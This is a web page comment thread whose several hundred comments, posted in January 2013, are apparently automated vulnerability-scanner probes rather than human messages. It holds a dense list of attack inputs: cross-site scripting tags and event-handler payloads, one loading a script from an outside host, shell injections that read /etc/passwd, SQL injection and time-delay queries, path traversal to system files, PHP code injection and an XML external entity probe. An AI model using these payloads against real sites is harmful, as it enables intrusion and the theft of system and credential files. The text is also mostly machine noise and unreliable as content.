.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\

  521. # 1 on 22 January 2013 at 23:41:

    '"()&%1<ScRiPt >prompt(956620)</ScRiPt>

  522. # 1 on 22 January 2013 at 23:41:

    OTgwMjE3

  523. # 1 on 22 January 2013 at 23:41:

    undefined1<ScRiPt >prompt(961872)</ScRiPt>

  524. # 1 on 22 January 2013 at 23:41:

    1<ScRiPt
    >prompt(961343)</ScRiPt>

  525. # 1 on 22 January 2013 at 23:41:

    1<ScRiPt/acu src=//testasp.vulnweb.com/t/xss.js?935120></ScRiPt>

  526. # 1 on 22 January 2013 at 23:41:

    1<ScRiPt
    >prompt(902412)</ScRiPt>

  527. # 1 on 22 January 2013 at 23:41:

    <video><source onerror="javascript:prompt(987609)">

  528. # 1 on 22 January 2013 at 23:42:

    <svg xmlns="http://www.w3.org/2000/svg"><g onload="javascript:prompt(996395)"></g></svg>

  529. # 1 on 22 January 2013 at 23:42:

    1[url=javascript:prompt(983709)]http://www.acunetix.com[/url]

  530. # 1 on 22 January 2013 at 23:42:

    1<div style=width:expression(prompt(925651))>

  531. # 1 on 22 January 2013 at 23:42:

    <iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='901562'>

  532. # 1 on 22 January 2013 at 23:42:

    <body onload=prompt(971632)>

  533. # 1 on 22 January 2013 at 23:42:

    <img src=//testasp.vulnweb.com/t/dot.gif onload=prompt(900122)>

  534. # 1 on 22 January 2013 at 23:42:

    <img src=xyz OnErRor=prompt(950299)>

  535. # 1 on 22 January 2013 at 23:42:

    1%3CScRiPt%20%3Eprompt(968852)%3C/sCripT%3E

  536. # 1 on 22 January 2013 at 23:42:

  537. # 1 on 22 January 2013 at 23:42:

    <input autofocus onfocus=prompt(928329)>

  538. # 1 on 22 January 2013 at 23:42:

    1PWiq
    1<ScRiPt >prompt(927115)</ScRiPt>

  539. # 1 on 23 January 2013 at 7:10:

    1

  540. # response.write(9601431*9657305) on 23 January 2013 at 13:42:

    1

  541. # 1 on 23 January 2013 at 13:42:

    1

  542. # 1 on 23 January 2013 at 13:42:

    1

  543. # &cat /etc/passwd& on 23 January 2013 at 13:42:

    1

  544. # -1 or 70=70 on 23 January 2013 at 13:42:

    1

  545. # '+response.write(9601431*9657305)+' on 23 January 2013 at 13:42:

    1

  546. # -1 or 70=0 on 23 January 2013 at 13:42:

    1

  547. # '&cat /etc/passwd&' on 23 January 2013 at 13:42:

    1

  548. # "+response.write(9601431*9657305)+" on 23 January 2013 at 13:42:

    1

  549. # -1' or '86'='86 on 23 January 2013 at 13:42:

    1

  550. # "&cat /etc/passwd&" on 23 January 2013 at 13:42:

    1

  551. # SomeCustomInjectedHeader:injected_by_wvs on 23 January 2013 at 13:42:

    1

  552. # -1' or '86'='0 on 23 January 2013 at 13:42:

    1

  553. # cat /etc/passwd on 23 January 2013 at 13:42:

    1

  554. # SomeCustomInjectedHeader:injected_by_wvs on 23 January 2013 at 13:42:

    1

  555. # -1" or "58"="58 on 23 January 2013 at 13:42:

    1

  556. # ../../../../../../../../../../etc/passwd on 23 January 2013 at 13:42:

    1

  557. # SomeCustomInjectedHeader:injected_by_wvs on 23 January 2013 at 13:43:

    1

  558. # -1" or "58"="0 on 23 January 2013 at 13:43:

    1

  559. # ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg on 23 January 2013 at 13:43:

    1

  560. # `cat /etc/passwd` on 23 January 2013 at 13:43:

    1

  561. # ../../../../../../../../../../etc/passwd.jpg on 23 January 2013 at 13:43:

    1

  562. # 1 and sleep(4) on 23 January 2013 at 13:43:

    1

  563. # |cat /etc/passwd# on 23 January 2013 at 13:43:

    1

  564. # Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAucG5n on 23 January 2013 at 13:43:

    1

  565. # '|'ld on 23 January 2013 at 13:43:

    1

  566. # "|"ld on 23 January 2013 at 13:43:

    1

  567. # ;cat /etc/passwd; on 23 January 2013 at 13:43:

    1

  568. # ';cat /etc/passwd;' on 23 January 2013 at 13:43:

    1

  569. # ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg on 23 January 2013 at 13:43:

    1

  570. # 1 or (sleep(4)+1) limit 1 -- on 23 January 2013 at 13:43:

    1

  571. # ";cat /etc/passwd;" on 23 January 2013 at 13:43:

    1

  572. # ||cat /etc/passwd on 23 January 2013 at 13:43:

    1

  573. # &dir on 23 January 2013 at 13:43:

    1

  574. # '&dir&' on 23 January 2013 at 13:43:

    1

  575. # 1' and sleep(4)=' on 23 January 2013 at 13:43:

    1

  576. # 1 on 23 January 2013 at 13:43:

    response.write(9206505*9874376)

  577. # "&dir&" on 23 January 2013 at 13:43:

    1

  578. # /../..//../..//../..//../..//../..//etc/passwd.jpg on 23 January 2013 at 13:43:

    1

  579. # 1 on 23 January 2013 at 13:43:

    '+response.write(9206505*9874376)+'

  580. # 1 on 23 January 2013 at 13:43:

    1

  581. # 1' and (sleep(4)+1) limit 1 -- on 23 January 2013 at 13:43:

    1

  582. # .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd on 23 January 2013 at 13:43:

    1

  583. # 1" and sleep(4)=" on 23 January 2013 at 13:43:

    1

  584. # /etc/passwd on 23 January 2013 at 13:43:

    1

  585. # |dir on 23 January 2013 at 13:43:

    1

  586. # 1 on 23 January 2013 at 13:43:

    "+response.write(9206505*9874376)+"

  587. # 1' or (sleep(4)+1) limit 1 -- on 23 January 2013 at 13:43:

    1

  588. # ../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd on 23 January 2013 at 13:43:

    1

  589. # 1" or (sleep(4)+1) limit 1 -- on 23 January 2013 at 13:43:

    1

  590. # '|dir on 23 January 2013 at 13:43:

    1

  591. # ../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd on 23 January 2013 at 13:43:

    1

  592. # 1'=sleep(4)=' on 23 January 2013 at 13:43:

    1

  593. # .. on 23 January 2013 at 13:43:

    1

  594. # "|dir on 23 January 2013 at 13:43:

    1

  595. # 1"=sleep(4)=" on 23 January 2013 at 13:43:

    1

  596. # invalid../../../../../../../../../../etc/passwd/./././././././././././././././././././././././././././././././././././././././././././././././././././ on 23 January 2013 at 13:43:

    1

  597. # 1;select pg_sleep(4); -- on 23 January 2013 at 13:43:

    1

  598. # ${99106+99415} on 23 January 2013 at 13:43:

    1

  599. # 1 on 23 January 2013 at 13:43:


    SomeCustomInjectedHeader:injected_by_wvs

  600. # file:///etc/passwd on 23 January 2013 at 13:43:

    1

  601. # 268435455 on 23 January 2013 at 13:43:

    1

  602. # /\../\../\../\../\../\../\../etc/passwd on 23 January 2013 at 13:43:

    1

  603. # on 23 January 2013 at 13:43:

    1

  604. # ../../../../../../../../../../windows/win.ini on 23 January 2013 at 13:43:

    1

  605. # 1';select pg_sleep(4); -- on 23 January 2013 at 13:43:

    1

  606. # ../../../../../../../../../../boot.ini on 23 January 2013 at 13:43:

    1

  607. # .. on 23 January 2013 at 13:43:

    1

  608. # 1 on 23 January 2013 at 13:43:


    SomeCustomInjectedHeader:injected_by_wvs

  609. # 1; waitfor delay '0:0:4' -- on 23 January 2013 at 13:43:

    1

  610. # 1e309 on 23 January 2013 at 13:43:

    1

  611. # 1 on 23 January 2013 at 13:43:

    ${99112+99579}

  612. # 1'; waitfor delay '0:0:4' -- on 23 January 2013 at 13:43:

    1

  613. # '"\'\");|]*{ <> on 23 January 2013 at 13:43:

    1

  614. # http://some-inexistent-website.acu/some_inexistent_file_with_long_name?%00.jpg on 23 January 2013 at 13:43:

    1

  615. # 1"; waitfor delay '0:0:4' -- on 23 January 2013 at 13:43:

    1

  616. # Array on 23 January 2013 at 13:43:

    1

  617. # 1some_inexistent_file_with_long_name%00.jpg on 23 January 2013 at 13:43:

    1

  618. # 1 on 23 January 2013 at 13:43:

    1

  619. # http://testasp.vulnweb.com/t/fit.txt?%00.jpg on 23 January 2013 at 13:43:

    1

  620. # ../../../../../../../../../../windows/win.ini.jpg on 23 January 2013 at 13:43:

    1

  621. # 1 on 23 January 2013 at 13:43:


    SomeCustomInjectedHeader:injected_by_wvs

  622. # on 23 January 2013 at 13:43:

    1

  623. # ) on 23 January 2013 at 13:43:

    1

  624. # ................windowswin.ini on 23 January 2013 at 13:43:

    1

  625. # 1&n980999=v994378 on 23 January 2013 at 13:43:

    1

  626. # !(()&&!|*|*| on 23 January 2013 at 13:43:

    1

  627. # ^(#$!@#$)(()))****** on 23 January 2013 at 13:43:

    1

  628. # ..\..\..\..\..\..\..\..\windows\win.ini on 23 January 2013 at 13:43:

    1

  629. # /.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini on 23 January 2013 at 13:43:

    1

  630. # ../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini on 23 January 2013 at 13:43:

    1

  631. # ../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini on 23 January 2013 at 13:43:

    1

  632. # 1 on 23 January 2013 at 13:43:

    http://some-inexistent-website.acu/some_inexistent_file_with_long_name?%00.jpg

  633. # unexisting/../../../../../../../../../../windows/win.ini.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\ on 23 January 2013 at 13:43:

    1

  634. # 1 on 23 January 2013 at 13:43:

    1some_inexistent_file_with_long_name%00.jpg

  635. # 1 on 23 January 2013 at 13:43:

    http://testasp.vulnweb.com/t/fit.txt?%00.jpg

  636. # Array on 23 January 2013 at 13:43:

    1

  637. # '"() on 23 January 2013 at 13:43:

    1

  638. # ;print(md5(acunetix_wvs_security_test)); on 23 January 2013 at 13:43:

    1

  639. # ';print(md5(acunetix_wvs_security_test));$a=' on 23 January 2013 at 13:43:

    1

  640. # 1 on 23 January 2013 at 13:43:

    1&n915084=v980278

  641. # 1 on 23 January 2013 at 13:43:

    )

  642. # ";print(md5(acunetix_wvs_security_test));$a=" on 23 January 2013 at 13:43:

    1

  643. # 1 on 23 January 2013 at 13:43:

    !(()&&!|*|*|

  644. # ${@print(md5(acunetix_wvs_security_test))} on 23 January 2013 at 13:43:

    1

  645. # 1 on 23 January 2013 at 13:43:

    ^(#$!@#$)(()))******

  646. # http://testasp.vulnweb.com/t/xss.html?%00.jpg on 23 January 2013 at 13:43:

    1

  647. # ${@print(md5(acunetix_wvs_security_test))}\ on 23 January 2013 at 13:43:

    1

  648. # 1 on 23 January 2013 at 13:43:

    1

  649. # 1 on 23 January 2013 at 13:43:

    1

  650. # acunetix_wvs_invalid_filename on 23 January 2013 at 13:43:

    1

  651. # 1 on 23 January 2013 at 13:43:

    Array

  652. # 6443 on 23 January 2013 at 13:43:

    1

  653. # 1 on 23 January 2013 at 13:43:

    '"()

  654. # 6443 on 23 January 2013 at 13:43:

    1

  655. # 1 on 23 January 2013 at 13:43:

    1

  656. # 1'" on 23 January 2013 at 13:43:

    1

  657. # 1 on 23 January 2013 at 13:43:

    http://testasp.vulnweb.com/t/xss.html?%00.jpg

  658. # 1 on 23 January 2013 at 13:43:

    268435455

  659. # \ on 23 January 2013 at 13:43:

    1

  660. # 6443/. on 23 January 2013 at 13:43:

    1

  661. # 1 on 23 January 2013 at 13:43:

  662. # 1Axa7Ac on 23 January 2013 at 13:43:

    1

  663. # ))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))) on 23 January 2013 at 13:43:

    1

  664. # 1 on 23 January 2013 at 13:43:

    ..

  665. # //www.acunetix.tst on 23 January 2013 at 13:44:

    1

  666. # 1 on 23 January 2013 at 13:44:

    )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

  667. # <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE acunetix [ <!ENTITY acunetixent SYSTEM "http://testphp.vulnweb.com/dot.gif"> ]> <xxx>&acunetixe on 23 January 2013 at 13:44:

    1

  668. # 1 on 23 January 2013 at 13:44:

    1e309

  669. # '" on 23 January 2013 at 13:44:

    1

  670. # 1 on 23 January 2013 at 13:44:

    '"\'\");|]*{
    <>

  671. # 1 on 23 January 2013 at 13:44:

    Array

  672. # 1 on 23 January 2013 at 13:44:

    //www.acunetix.tst

  673. # '"()&%1<ScRiPt >prompt(924811)</ScRiPt> on 23 January 2013 at 13:44:

    1

  674. # <!-- on 23 January 2013 at 13:44:

    1

  675. # 1 on 23 January 2013 at 13:44:

    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE acunetix [
    <!ENTITY acunetixent SYSTEM "http://testphp.vulnweb.com/dot.gif">
    ]>
    <xxx>&acunetixent;</xxx>

  676. # 1 on 23 January 2013 at 13:44:

    ;print(md5(acunetix_wvs_security_test));

  677. # @@mlGiu on 23 January 2013 at 13:44:

    1

  678. # 1 on 23 January 2013 at 13:44:

    ';print(md5(acunetix_wvs_security_test));$a='

  679. # OTczNTQ5 on 23 January 2013 at 13:44:

    1

  680. # JyI= on 23 January 2013 at 13:44:

    1

  681. # 1 on 23 January 2013 at 13:44:

    1

  682. # 1 on 23 January 2013 at 13:44:

    ";print(md5(acunetix_wvs_security_test));$a="

  683. # 1 on 23 January 2013 at 13:44:

    '"

  684. # ?'?" on 23 January 2013 at 13:44:

    1

  685. # 1 on 23 January 2013 at 13:44:

    1

  686. # ?''?"" on 23 January 2013 at 13:44:

    1

  687. # 1 on 23 January 2013 at 13:44:

    -1 or 56=56

  688. # 1 on 23 January 2013 at 13:44:

    ${@print(md5(acunetix_wvs_security_test))}

  689. # 1 on 23 January 2013 at 13:44:

    <!--

  690. # 1 on 23 January 2013 at 13:44:

    1

  691. # 1 on 23 January 2013 at 13:44:

    ${@print(md5(acunetix_wvs_security_test))}\

  692. # 1 on 23 January 2013 at 13:44:

    acunetix_wvs_invalid_filename

  693. # undefined1<ScRiPt >prompt(991879)</ScRiPt> on 23 January 2013 at 13:44:

    1

  694. # 1 on 23 January 2013 at 13:44:

    6443

  695. # 1 on 23 January 2013 at 13:44:

    -1 or 56=0

  696. # 1 on 23 January 2013 at 13:44:

    6443

  697. # 1 on 23 January 2013 at 13:44:

    -1' or '28'='28

  698. # 1 on 23 January 2013 at 13:44:

    &cat /etc/passwd&

  699. # 1 on 23 January 2013 at 13:44:

    -1' or '28'='0

  700. # 1 on 23 January 2013 at 13:44:

    '&cat /etc/passwd&'

  701. # 1 on 23 January 2013 at 13:44:

    -1" or "91"="91

  702. # 1<ScRiPt >prompt(969336)</ScRiPt> on 23 January 2013 at 13:44:

    1

  703. # 1 on 23 January 2013 at 13:44:

    6443/.

  704. # 1 on 23 January 2013 at 13:44:

    "&cat /etc/passwd&"

  705. # 1 on 23 January 2013 at 13:44:

    -1" or "91"="0

  706. # 1 on 23 January 2013 at 13:44:


    cat /etc/passwd

  707. # 1 on 23 January 2013 at 13:44:

    1 and sleep(4)

  708. # 1 on 23 January 2013 at 13:44:

    `cat /etc/passwd`

  709. # 1 on 23 January 2013 at 13:44:

    |cat /etc/passwd#

  710. # 1 on 23 January 2013 at 13:44:

    1 or (sleep(4)+1) limit 1 --

  711. # 1 on 23 January 2013 at 13:44:

    '|'ld

  712. # 1 on 23 January 2013 at 13:44:

    "|"ld

  713. # 1<ScRiPt/acu src=//testasp.vulnweb.com/t/xss.js?931223></ScRiPt> on 23 January 2013 at 13:44:

    1

  714. # 1 on 23 January 2013 at 13:44:

    1' and sleep(4)='

  715. # 1 on 23 January 2013 at 13:44:

    ;cat /etc/passwd;

  716. # 1 on 23 January 2013 at 13:44:

    1' and (sleep(4)+1) limit 1 --

  717. # 1 on 23 January 2013 at 13:44:

    ';cat /etc/passwd;'

  718. # 1 on 23 January 2013 at 13:44:

    1" and sleep(4)="

  719. # 1 on 23 January 2013 at 13:44:

    ";cat /etc/passwd;"

  720. # 1 on 23 January 2013 at 13:44:

    1' or (sleep(4)+1) limit 1 --

  721. # 1 on 23 January 2013 at 13:44:

    ||cat /etc/passwd

  722. # 1 on 23 January 2013 at 13:44:

    1" or (sleep(4)+1) limit 1 --

  723. # 1 on 23 January 2013 at 13:44:

    1'=sleep(4)='

  724. # 1 on 23 January 2013 at 13:44:

    &dir

  725. # 1<ScRiPt >prompt(943950)</ScRiPt> on 23 January 2013 at 13:44:

    1

  726. # 1 on 23 January 2013 at 13:44:

    1"=sleep(4)="

  727. # 1 on 23 January 2013 at 13:44:

    1;select pg_sleep(4); --

  728. # 1 on 23 January 2013 at 13:44:

    '&dir&'

  729. # 1 on 23 January 2013 at 13:44:

    "&dir&"

  730. # <video><source onerror="javascript:prompt(945037)"> on 23 January 2013 at 13:44:

    1

  731. # 1 on 23 January 2013 at 13:44:

    |dir

  732. # 1 on 23 January 2013 at 13:44:

    '|dir

  733. # 1 on 23 January 2013 at 13:44:

    1';select pg_sleep(4); --

  734. # 1 on 23 January 2013 at 13:44:

    "|dir

  735. # 1 on 23 January 2013 at 13:44:

    1; waitfor delay '0:0:4' --

  736. # 1 on 23 January 2013 at 13:44:

    1'; waitfor delay '0:0:4' --

  737. # 1 on 23 January 2013 at 13:44:

    1"; waitfor delay '0:0:4' --

  738. # <svg xmlns="http://www.w3.org/2000/svg"><g onload="javascript:prompt(922763)"></g></svg> on 23 January 2013 at 13:44:

    1

  739. # 1 on 23 January 2013 at 13:44:

    1

  740. # 1 on 23 January 2013 at 13:44:

    1'"

  741. # 1[url=javascript:prompt(987160)]http://www.acunetix.com[/url] on 23 January 2013 at 13:44:

    1

  742. # 1 on 23 January 2013 at 13:45:

    \

  743. # 1<div style=width:expression(prompt(961128))> on 23 January 2013 at 13:45:

    1

  744. # 1 on 23 January 2013 at 13:45:

    1Axa7Ac

  745. # 1 on 23 January 2013 at 13:45:

    @@G4jMO

  746. # 1 on 23 January 2013 at 13:45:

    JyI=

  747. # 1 on 23 January 2013 at 13:45:

    ?'?"

  748. # 1 on 23 January 2013 at 13:45:

    ?''?""

  749. # <iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='926681'> on 23 January 2013 at 13:45:

    1

  750. # <body onload=prompt(999804)> on 23 January 2013 at 13:45:

    1

  751. # <img src=//testasp.vulnweb.com/t/dot.gif onload=prompt(986447)> on 23 January 2013 at 13:45:

    1

  752. # 1 on 23 January 2013 at 13:45:

    ../../../../../../../../../../etc/passwd

  753. # 1 on 23 January 2013 at 13:45:

    ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

  754. # 1 on 23 January 2013 at 13:45:

    ../../../../../../../../../../etc/passwd.jpg

  755. # 1 on 23 January 2013 at 13:45:

    Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAucG5n

  756. # <img src=xyz OnErRor=prompt(970777)> on 23 January 2013 at 13:45:

    1

  757. # 1 on 23 January 2013 at 13:45:

    ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

  758. # 1 on 23 January 2013 at 13:45:

    /../..//../..//../..//../..//../..//etc/passwd.jpg

  759. # 1 on 23 January 2013 at 13:45:

    .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

  760. # 1 on 23 January 2013 at 13:45:

    /etc/passwd

  761. # 1 on 23 January 2013 at 13:45:

    ../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd

  762. # 1 on 23 January 2013 at 13:45:

    ../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd

  763. # 1%3CScRiPt%20%3Eprompt(947895)%3C/sCripT%3E on 23 January 2013 at 13:45:

    1

  764. # 1 on 23 January 2013 at 13:45:

    ..

  765. # 1 on 23 January 2013 at 13:45:

    invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.

  766. # 1 on 23 January 2013 at 13:45:

    file:///etc/passwd

  767. # on 23 January 2013 at 13:45:

    1

  768. # 1 on 23 January 2013 at 13:45:

    /\../\../\../\../\../\../\../etc/passwd

  769. # 1 on 23 January 2013 at 13:45:

    ../../../../../../../../../../windows/win.ini

  770. # <input autofocus onfocus=prompt(939576)> on 23 January 2013 at 13:45:

    1

  771. # 1 on 23 January 2013 at 13:45:

    ../../../../../../../../../../boot.ini

  772. # 1 on 23 January 2013 at 13:45:

    ../../../../../../../../../../windows/win.ini.jpg

  773. # TAIHv 1<ScRiPt >prompt(926334)</ScRiPt> on 23 January 2013 at 13:45:

    1

  774. # 1 on 23 January 2013 at 13:45:

  775. # 1 on 23 January 2013 at 13:45:

    ................windowswin.ini

  776. # 1 on 23 January 2013 at 13:45:

    ..\..\..\..\..\..\..\..\windows\win.ini

  777. # 1 on 23 January 2013 at 13:45:

    /.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini

  778. # 1 on 23 January 2013 at 13:45:

    ../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini

  779. # 1 on 23 January 2013 at 13:45:

    ../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini

  780. # 1 on 23 January 2013 at 13:45:

